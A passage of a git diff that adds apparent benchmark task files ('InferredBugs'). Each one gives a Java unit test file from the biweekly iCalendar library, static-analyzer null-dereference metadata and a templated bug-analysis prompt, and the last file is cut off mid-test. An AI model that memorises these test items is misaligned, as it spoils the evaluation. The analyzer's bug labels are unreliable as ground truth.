+		Document actual = xcalProperty(marshaller);
+		marshaller.writeXml(prop, XmlUtils.getRootElement(actual));
+
+		Document expected = xcalProperty(marshaller, "<latitude>12.34</latitude>");
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void writeXml_missing_both() {
+		Geo prop = new Geo(null, null);
+
+		Document actual = xcalProperty(marshaller);
+		marshaller.writeXml(prop, XmlUtils.getRootElement(actual));
+
+		Document expected = xcalProperty(marshaller, "");
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void parseXml() {
+		ICalParameters params = new ICalParameters();
+
+		Element element = xcalPropertyElement(marshaller, "<latitude>12.34</latitude><longitude>56.78</longitude>");
+		Result<Geo> result = marshaller.parseXml(element, params);
+
+		Geo prop = result.getValue();
+		assertEquals(12.34, prop.getLatitude(), 0.001);
+		assertEquals(56.78, prop.getLongitude(), 0.001);
+		assertWarnings(0, result.getWarnings());
+	}
+
+	@Test
+	public void parseXml_missing_latitude() {
+		ICalParameters params = new ICalParameters();
+
+		Element element = xcalPropertyElement(marshaller, "<longitude>56.78</longitude>");
+		Result<Geo> result = marshaller.parseXml(element, params);
+
+		Geo prop = result.getValue();
+		assertNull(prop.getLatitude());
+		assertEquals(56.78, prop.getLongitude(), 0.001);
+		assertWarnings(0, result.getWarnings());
+	}
+
+	@Test
+	public void parseXml_missing_longitude() {
+		ICalParameters params = new ICalParameters();
+
+		Element element = xcalPropertyElement(marshaller, "<latitude>12.34</latitude>");
+		Result<Geo> result = marshaller.parseXml(element, params);
+
+		Geo prop = result.getValue();
+		assertEquals(12.34, prop.getLatitude(), 0.001);
+		assertNull(prop.getLongitude());
+		assertWarnings(0, result.getWarnings());
+	}
+
+	@Test
+	public void parseXml_missing_both() {
+		ICalParameters params = new ICalParameters();
+
+		Element element = xcalPropertyElement(marshaller, "");
+		Result<Geo> result = marshaller.parseXml(element, params);
+
+		Geo prop = result.getValue();
+		assertNull(prop.getLatitude());
+		assertNull(prop.getLongitude());
+		assertWarnings(0, result.getWarnings());
+	}
+
+	@Test(expected = CannotParseException.class)
+	public void parseXml_bad_latitude() {
+		ICalParameters params = new ICalParameters();
+
+		Element element = xcalPropertyElement(marshaller, "<latitude>bad</latitude><longitude>56.78</longitude>");
+		marshaller.parseXml(element, params);
+	}
+
+	@Test(expected = CannotParseException.class)
+	public void parseXml_bad_longitude() {
+		ICalParameters params = new ICalParameters();
+
+		Element element = xcalPropertyElement(marshaller, "<latitude>12.34</latitude><longitude>bad</longitude>");
+		marshaller.parseXml(element, params);
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `element` last assigned on line 238 could be null and is dereferenced by call to `parseXml(...)` at line 239.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GeoMarshallerTest.parseXml_bad_longitude()
+
+### Procedure Id:
+biweekly.property.marshaller.GeoMarshallerTest.parseXml_bad_longitude():void.106e4927e4f1f91938aa3a4c478cd1aa
+
+### File:
+src/test/java/biweekly/property/marshaller/GeoMarshallerTest.java
+
+### Key:
+GeoMarshallerTest.java|parseXml_bad_longitude|NULL_DEREFERENCE
+
+### Node Key:
+974f346dd654e231b68dab3f6bea34c5
+
+### Hash:
+305262d5122458407ec74224fab50e53
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10675/instruction.md b/inferredbugs-10675/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..44126fc2f3b570d3f09cd2917aba8d9a07a6cd41
--- /dev/null
+++ b/inferredbugs-10675/instruction.md
@@ -0,0 +1,272 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** biweekly
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package biweekly.property.marshaller;
+
+import static biweekly.util.TestUtils.assertWarnings;
+import static biweekly.util.TestUtils.xcalProperty;
+import static biweekly.util.TestUtils.xcalPropertyElement;
+import static org.custommonkey.xmlunit.XMLAssert.assertXMLEqual;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import org.apache.commons.codec.binary.Base64;
+import org.junit.Test;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+
+import biweekly.parameter.Encoding;
+import biweekly.parameter.ICalParameters;
+import biweekly.parameter.Value;
+import biweekly.property.Attachment;
+import biweekly.property.marshaller.ICalPropertyMarshaller.Result;
+import biweekly.util.XmlUtils;
+
+/*
+ Copyright (c) 2013, Michael Angstadt
+ All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions are met: 
+
+ 1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer. 
+ 2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution. 
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/**
+ * @author Michael Angstadt
+ */
+public class AttachmentMarshallerTest {
+	private final AttachmentMarshaller marshaller = new AttachmentMarshaller();
+
+	@Test
+	public void prepareParameters_uri() {
+		Attachment prop = new Attachment("image/png", "http://example.com/image.png");
+		prop.getParameters().setEncoding(Encoding.BASE64); //should be cleared
+		prop.getParameters().setValue(Value.BINARY); //should be cleared
+
+		ICalParameters params = marshaller.prepareParameters(prop);
+
+		assertEquals("image/png", params.getFormatType());
+		assertNull(params.getValue());
+		assertNull(params.getEncoding());
+	}
+
+	@Test
+	public void prepareParameters_data() {
+		Attachment prop = new Attachment("image/png", "data".getBytes());
+
+		ICalParameters params = marshaller.prepareParameters(prop);
+
+		assertEquals("image/png", params.getFormatType());
+		assertEquals(Value.BINARY, params.getValue());
+		assertEquals(Encoding.BASE64, params.getEncoding());
+	}
+
+	@Test
+	public void writeText_uri() {
+		Attachment prop = new Attachment("image/png", "http://example.com/image.png");
+
+		String actual = marshaller.writeText(prop);
+
+		String expected = "http://example.com/image.png";
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void writeText_data() {
+		Attachment prop = new Attachment("image/png", "data".getBytes());
+
+		String actual = marshaller.writeText(prop);
+
+		String expected = Base64.encodeBase64String("data".getBytes());
+		assertEquals(expected, actual);
+	}
+
+	@Test
+	public void parseText_uri() {
+		String value = "http://example.com/image.png";
+		ICalParameters params = new ICalParameters();
+
+		Result<Attachment> result = marshaller.parseText(value, params);
+
+		Attachment prop = result.getValue();
+		assertEquals("http://example.com/image.png", prop.getUri());
+		assertNull(prop.getData());
+		assertWarnings(0, result.getWarnings());
+	}
+
+	@Test
+	public void parseText_data() {
+		String value = Base64.encodeBase64String("data".getBytes());
+		ICalParameters params = new ICalParameters();
+
+		params.setValue(Value.BINARY);
+		params.setEncoding(null);
+		Result<Attachment> result = marshaller.parseText(value, params);
+		Attachment prop = result.getValue();
+		assertNull(prop.getUri());
+		assertArrayEquals("data".getBytes(), prop.getData());
+		assertWarnings(0, result.getWarnings());
+
+		params.setValue(null);
+		params.setEncoding(Encoding.BASE64);
+		result = marshaller.parseText(value, params);
+		prop = result.getValue();
+		assertNull(prop.getUri());
+		assertArrayEquals("data".getBytes(), prop.getData());
+		assertWarnings(0, result.getWarnings());
+
+		params.setValue(Value.BINARY);
+		params.setEncoding(Encoding.BASE64);
+		result = marshaller.parseText(value, params);
+		prop = result.getValue();
+		assertNull(prop.getUri());
+		assertArrayEquals("data".getBytes(), prop.getData());
+		assertWarnings(0, result.getWarnings());
+
+		//treats base64 as a URI if no parameters are set
+		params.setValue(null);
+		params.setEncoding(null);
+		result = marshaller.parseText(value, params);
+		prop = result.getValue();
+		assertEquals(Base64.encodeBase64String("data".getBytes()), prop.getUri());
+		assertNull(prop.getData());
+		assertWarnings(0, result.getWarnings());
+	}
+
+	@Test
+	public void writeXml_uri() {
+		Attachment prop = new Attachment("image/png", "http://example.com/image.png");
+
+		Document actual = xcalProperty(marshaller);
+		marshaller.writeXml(prop, XmlUtils.getRootElement(actual));
+
+		Document expected = xcalProperty(marshaller, "<uri>http://example.com/image.png</uri>");
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void writeXml_data() {
+		Attachment prop = new Attachment("image/png", "data".getBytes());
+
+		Document actual = xcalProperty(marshaller);
+		marshaller.writeXml(prop, XmlUtils.getRootElement(actual));
+
+		Document expected = xcalProperty(marshaller, "<binary>" + Base64.encodeBase64String("data".getBytes()) + "</binary>");
+		assertXMLEqual(expected, actual);
+	}
+
+	@Test
+	public void parseXml_uri() {
+		ICalParameters params = new ICalParameters();
+
+		Element element = xcalPropertyElement(marshaller, "<uri>http://example.com/image.png</uri>");
+		Result<Attachment> result = marshaller.parseXml(element, params);
+
+		Attachment prop = result.getValue();
+		assertEquals("http://example.com/image.png", prop.getUri());
+		assertNull(prop.getData());
+		assertWarnings(0, result.getWarnings());
+	}
+
+	@Test
+	public void parseXml_data() {
+		ICalParameters params = new ICalParameters();
+
+		Element element = xcalPropertyElement(marshaller, "<binary>" + Base64.encodeBase64String("data".getBytes()) + "</binary>");
+		Result<Attachment> result = marshaller.parseXml(element, params);
+
+		Attachment prop = result.getValue();
+		assertNull(prop.getUri());
+		assertArrayEquals("data".getBytes(), prop.getData());
+
+		assertWarnings(0, result.getWarnings());
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getRootElement(actual)` could be null and is dereferenced by call to `writeXml(...)` at line 155.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AttachmentMarshallerTest.writeXml_uri()
+
+### Procedure Id:
+biweekly.property.marshaller.AttachmentMarshallerTest.writeXml_uri():void.549f40e8d90c305290aa9743830e5ceb
+
+### File:
+src/test/java/biweekly/property/marshaller/AttachmentMarshallerTest.java
+
+### Key:
+AttachmentMarshallerTest.java|writeXml_uri|NULL_DEREFERENCE
+
+### Node Key:
+d0ec784a9a07b2ee980cc56c82eecd21
+
+### Hash:
+8fbe8abe4534d3548393319bbdb9a6ed
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10681/instruction.md b/inferredbugs-10681/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2d5e9d15934d78511173ec422405c0cca53d1392
--- /dev/null
+++ b/inferredbugs-10681/instruction.md
@@ -0,0 +1,1153 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** biweekly
+**Bug ID:** 43
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package biweekly.io.xml;
+
+import static biweekly.io.xml.XCalNamespaceContext.XCAL_NS;
+import static biweekly.util.TestUtils.assertDateEquals;
+import static biweekly.util.TestUtils.assertIntEquals;
+import static biweekly.util.TestUtils.assertWarnings;
+import static biweekly.util.TestUtils.buildTimezone;
+import static org.custommonkey.xmlunit.XMLAssert.assertXMLEqual;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.text.DateFormat;
+import java.text.SimpleDateFormat;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+import java.util.TimeZone;
+
+import javax.xml.namespace.QName;
+
+import org.custommonkey.xmlunit.XMLUnit;
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.xml.sax.SAXException;
+
+import biweekly.ICalendar;
+import biweekly.component.DaylightSavingsTime;
+import biweekly.component.ICalComponent;
+import biweekly.component.RawComponent;
+import biweekly.component.StandardTime;
+import biweekly.component.VEvent;
+import biweekly.component.VTimezone;
+import biweekly.component.marshaller.ICalComponentMarshaller;
+import biweekly.io.CannotParseException;
+import biweekly.io.SkipMeException;
+import biweekly.parameter.ICalParameters;
+import biweekly.parameter.Value;
+import biweekly.property.CalendarScale;
+import biweekly.property.DateStart;
+import biweekly.property.ICalProperty;
+import biweekly.property.RawProperty;
+import biweekly.property.RecurrenceDates;
+import biweekly.property.RecurrenceRule;
+import biweekly.property.RecurrenceRule.DayOfWeek;
+import biweekly.property.RecurrenceRule.Frequency;
+import biweekly.property.Summary;
+import biweekly.property.Version;
+import biweekly.property.Xml;
+import biweekly.property.marshaller.ICalPropertyMarshaller;
+import biweekly.util.Duration;
+import biweekly.util.IOUtils;
+import biweekly.util.Period;
+import biweekly.util.XmlUtils;
+
+/*
+ Copyright (c) 2013, Michael Angstadt
+ All rights reserved.
+
+ Redistribution and use in source and binary forms, with or without
+ modification, are permitted provided that the following conditions are met: 
+
+ 1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer. 
+ 2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution. 
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/**
+ * @author Michael Angstadt
+ */
+public class XCalDocumentTest {
+	private static TimeZone defaultTz;
+
+	private final DateFormat utcFormatter;
+	{
+		utcFormatter = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
+		utcFormatter.setTimeZone(TimeZone.getTimeZone("UTC"));
+	}
+	private final DateFormat usEasternFormatter;
+	{
+		usEasternFormatter = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
+		usEasternFormatter.setTimeZone(TimeZone.getTimeZone("US/Eastern"));
+	}
+	private final DateFormat localFormatter = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
+	private final DateFormat dateFormatter = new SimpleDateFormat("yyyy-MM-dd");
+
+	@BeforeClass
+	public static void beforeClass() {
+		//change the default timezone because my timezone is "US/Eastern", which is what the example jCal documents use
+		defaultTz = TimeZone.getDefault();
+		TimeZone.setDefault(buildTimezone(1, 0));
+
+		XMLUnit.setIgnoreWhitespace(true);
+	}
+
+	@AfterClass
+	public static void afterClass() {
+		TimeZone.setDefault(defaultTz);
+	}
+
+	@Test
+	public void parseAll() throws Exception {
+		//@formatter:off
+		String xml =
+		"<?xml version=\"1.0\" encoding=\"utf-8\" ?>" +
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<prodid><text>-//Example Inc.//Example Client//EN</text></prodid>" +
+					"<version><text>2.0</text></version>" +
+				"</properties>" +
+				"<components>" +
+					"<vevent>" +
+						"<properties>" +
+							"<summary><text>Team Meeting</text></summary>" +
+						"</properties>" +
+					"</vevent>" +
+				"</components>" +
+			"</vcalendar>" +
+			"<vcalendar>" +
+			"<properties>" +
+				"<prodid><text>-//Example Inc.//Example Client//EN</text></prodid>" +
+				"<version><text>2.0</text></version>" +
+			"</properties>" +
+			"<components>" +
+				"<vevent>" +
+					"<properties>" +
+						"<summary><text>Team Happy Hour</text></summary>" +
+					"</properties>" +
+				"</vevent>" +
+			"</components>" +
+		"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		Iterator<ICalendar> it = xcal.parseAll().iterator();
+		assertEquals(2, xcal.getParseWarnings().size());
+		assertWarnings(0, xcal.getParseWarnings().get(0));
+
+		ICalendar ical = it.next();
+		assertEquals("-//Example Inc.//Example Client//EN", ical.getProductId().getValue());
+		assertEquals("2.0", ical.getVersion().getMaxVersion());
+
+		VEvent event = ical.getEvents().get(0);
+		assertEquals("Team Meeting", event.getSummary().getValue());
+
+		ical = it.next();
+		assertEquals("-//Example Inc.//Example Client//EN", ical.getProductId().getValue());
+		assertEquals("2.0", ical.getVersion().getMaxVersion());
+
+		event = ical.getEvents().get(0);
+		assertEquals("Team Happy Hour", event.getSummary().getValue());
+
+		assertFalse(it.hasNext());
+	}
+
+	@Test
+	public void parse_default_namespace() throws Exception {
+		//@formatter:off
+		String xml =
+		"<icalendar>" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<prodid><text>-//Example Inc.//Example Client//EN</text></prodid>" +
+					"<version><text>2.0</text></version>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		ICalendar ical = xcal.parseFirst();
+		assertNull(ical);
+		assertEquals(0, xcal.getParseWarnings().size());
+	}
+
+	@Test
+	public void parse_wrong_namespace() throws Exception {
+		//@formatter:off
+		String xml =
+		"<icalendar xmlns=\"http://example.com\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<prodid><text>-//Example Inc.//Example Client//EN</text></prodid>" +
+					"<version><text>2.0</text></version>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		ICalendar ical = xcal.parseFirst();
+		assertNull(ical);
+		assertEquals(0, xcal.getParseWarnings().size());
+	}
+
+	@Test
+	public void parse_preserve_whitespace() throws Exception {
+		//@formatter:off
+		String xml =
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<summary><text>  This \t  is \n   a   note </text></summary>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		ICalendar ical = xcal.parseFirst();
+		assertEquals(1, xcal.getParseWarnings().size());
+		assertWarnings(0, xcal.getParseWarnings().get(0));
+
+		Summary prop = ical.getProperty(Summary.class);
+		assertEquals("  This \t  is \n   a   note ", prop.getValue());
+	}
+
+	@Test
+	public void parse_parameters() throws Exception {
+		//@formatter:off
+		String xml =
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					//zero params
+					"<summary>" +
+						"<text>summary 1</text>" +
+					"</summary>" +
+					
+					//one param
+					"<summary>" +
+						"<parameters>" +
+							"<language><text>en</text></language>" +
+						"</parameters>" +
+						"<text>summary 2</text>" +
+					"</summary>" +
+					
+					//two params
+					"<summary>" +
+						"<parameters>" +
+							"<language><text>en</text></language>" +
+							"<x-foo><text>bar</text></x-foo>" +
+						"</parameters>" +
+						"<text>summary 3</text>" +
+					"</summary>" +
+					
+					//a param with multiple values
+					"<summary>" +
+						"<parameters>" +
+							"<x-foo>" +
+								"<text>a</text>" +
+								"<text>b</text>" +
+							"</x-foo>" +
+						"</parameters>" +
+						"<text>summary 4</text>" +
+					"</summary>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		ICalendar ical = xcal.parseFirst();
+		assertEquals(1, xcal.getParseWarnings().size());
+		assertWarnings(0, xcal.getParseWarnings().get(0));
+
+		Iterator<Summary> propIt = ical.getProperties(Summary.class).iterator();
+
+		Summary prop = propIt.next();
+		assertEquals("summary 1", prop.getValue());
+		assertTrue(prop.getParameters().isEmpty());
+
+		prop = propIt.next();
+		assertEquals("summary 2", prop.getValue());
+		assertEquals(1, prop.getParameters().size());
+		assertEquals("en", prop.getLanguage());
+
+		prop = propIt.next();
+		assertEquals("summary 3", prop.getValue());
+		assertEquals(2, prop.getParameters().size());
+		assertEquals("en", prop.getLanguage());
+		assertEquals("bar", prop.getParameter("X-FOO"));
+
+		prop = propIt.next();
+		assertEquals("summary 4", prop.getValue());
+		assertEquals(2, prop.getParameters().size());
+		assertEquals(Arrays.asList("a", "b"), prop.getParameters("X-FOO"));
+
+		assertFalse(propIt.hasNext());
+	}
+
+	@Test
+	public void parse_experimental_component() throws Exception {
+		//@formatter:off
+		String xml =
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<components>" +
+					"<x-party>" +
+						"<properties>" +
+							"<summary><text>Party</text></summary>" +
+						"</properties>" +
+					"</x-party>" +
+				"</components>" +
+			"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		ICalendar ical = xcal.parseFirst();
+
+		assertEquals(1, xcal.getParseWarnings().size());
+		assertWarnings(0, xcal.getParseWarnings().get(0));
+
+		RawComponent comp = ical.getExperimentalComponent("x-party");
+		assertEquals(1, comp.getProperties().size());
+		Summary prop = comp.getProperty(Summary.class);
+		assertEquals("Party", prop.getValue());
+	}
+
+	@Test
+	public void parse_skip_component_without_xcal_namespace() throws Exception {
+		//@formatter:off
+		String xml =
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<components>" +
+					"<foo xmlns=\"http://example.com\">" +
+					"</foo>" +
+					"<x-party>" +
+					"</x-party>" +
+				"</components>" +
+			"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		ICalendar ical = xcal.parseFirst();
+
+		assertEquals(1, xcal.getParseWarnings().size());
+		assertWarnings(0, xcal.getParseWarnings().get(0));
+		assertEquals(1, ical.getComponents().size());
+
+		assertNotNull(ical.getExperimentalComponent("x-party"));
+	}
+
+	@Test
+	public void parse_experimental_property() throws Exception {
+		//@formatter:off
+		String xml =
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<x-boss><text>John Doe</text></x-boss>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		ICalendar ical = xcal.parseFirst();
+
+		assertEquals(1, xcal.getParseWarnings().size());
+		assertWarnings(0, xcal.getParseWarnings().get(0));
+
+		RawProperty prop = ical.getExperimentalProperty("X-BOSS");
+		assertEquals("John Doe", prop.getValue());
+		assertEquals(Value.TEXT, prop.getParameters().getValue());
+	}
+
+	@Test
+	public void parse_experimental_property_with_namespace_with_marshaller() throws Exception {
+		//@formatter:off
+		String xml =
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<m:company xmlns:m=\"http://example.com\">" +
+						"<m:boss>John Doe</m:boss>" +
+					"</m:company>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		xcal.registerMarshaller(new CompanyMarshaller());
+		ICalendar ical = xcal.parseFirst();
+
+		assertEquals(1, xcal.getParseWarnings().size());
+		assertWarnings(0, xcal.getParseWarnings().get(0));
+
+		Company prop = ical.getProperty(Company.class);
+		assertEquals("John Doe", prop.getBoss());
+	}
+
+	@Test
+	public void parse_experimental_property_with_namespace_without_marshaller() throws Exception {
+		//@formatter:off
+		String xml =
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<m:company xmlns:m=\"http://example.com\">" +
+						"<m:boss>John Doe</m:boss>" +
+					"</m:company>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		ICalendar ical = xcal.parseFirst();
+
+		assertEquals(1, xcal.getParseWarnings().size());
+		assertWarnings(0, xcal.getParseWarnings().get(0));
+
+		Xml prop = ical.getProperty(Xml.class);
+		Document expected = XmlUtils.toDocument("<m:company xmlns:m=\"http://example.com\"><m:boss>John Doe</m:boss></m:company>");
+		assertXMLEqual(expected, prop.getValue());
+	}
+
+	@Test
+	public void parse_skipMeException() throws Exception {
+		//@formatter:off
+		String xml =
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<m:company xmlns:m=\"http://example.com\">" +
+						"<m:boss>skip-me</m:boss>" +
+					"</m:company>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		xcal.registerMarshaller(new CompanyMarshaller());
+		ICalendar ical = xcal.parseFirst();
+
+		assertEquals(1, xcal.getParseWarnings().size());
+		assertWarnings(1, xcal.getParseWarnings().get(0));
+
+		Company prop = ical.getProperty(Company.class);
+		assertNull(prop);
+		assertEquals(0, ical.getProperties().size());
+	}
+
+	@Test
+	public void parse_cannotParseException() throws Exception {
+		//@formatter:off
+		String xml =
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<m:company xmlns:m=\"http://example.com\">" +
+						"<m:boss>don't-parse-me</m:boss>" +
+					"</m:company>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		xcal.registerMarshaller(new CompanyMarshaller());
+		ICalendar ical = xcal.parseFirst();
+
+		assertEquals(1, xcal.getParseWarnings().size());
+		assertWarnings(1, xcal.getParseWarnings().get(0));
+
+		assertNull(ical.getProperty(Company.class));
+
+		Xml prop = ical.getProperty(Xml.class);
+		Document expected = XmlUtils.toDocument("<m:company xmlns:m=\"http://example.com\"><m:boss>don't-parse-me</m:boss></m:company>");
+		assertXMLEqual(expected, prop.getValue());
+	}
+
+	@Test
+	public void parse_unsupportedOperationException() throws Exception {
+		//@formatter:off
+		String xml =
+		"<icalendar xmlns=\"" + XCAL_NS + "\">" +
+			"<vcalendar>" +
+				"<properties>" +
+					"<m:company xmlns:m=\"http://example.com\">" +
+						"<m:boss>UnsupportedOperationException</m:boss>" +
+					"</m:company>" +
+				"</properties>" +
+			"</vcalendar>" +
+		"</icalendar>";
+		//@formatter:on
+
+		XCalDocument xcal = new XCalDocument(xml);
+		xcal.registerMarshaller(new CompanyMarshaller());
+		ICalendar ical = xcal.parseFirst();
+
+		assertEquals(1, xcal.getParseWarnings().size());
+		assertWarnings(1, xcal.getParseWarnings().get(0));
+
+		assertNull(ical.getProperty(Company.class));
+
+		Xml prop = ical.getProperty(Xml.class);
+		Document expected = XmlUtils.toDocument("<m:company xmlns:m=\"http://example.com\"><m:boss>UnsupportedOperationException</m:boss></m:company>");
+		assertXMLEqual(expected, prop.getValue());
+	}
+
+	@Test
+	public void parse_icalendar_element_is_not_root() throws Exception {
+		//@formatter:off
+		String xml =
+		"<foo xmlns=\"http://example.com\">" +
+			"<xcal:icalendar xmlns:xcal=\"" + XCAL_NS + "\">" +
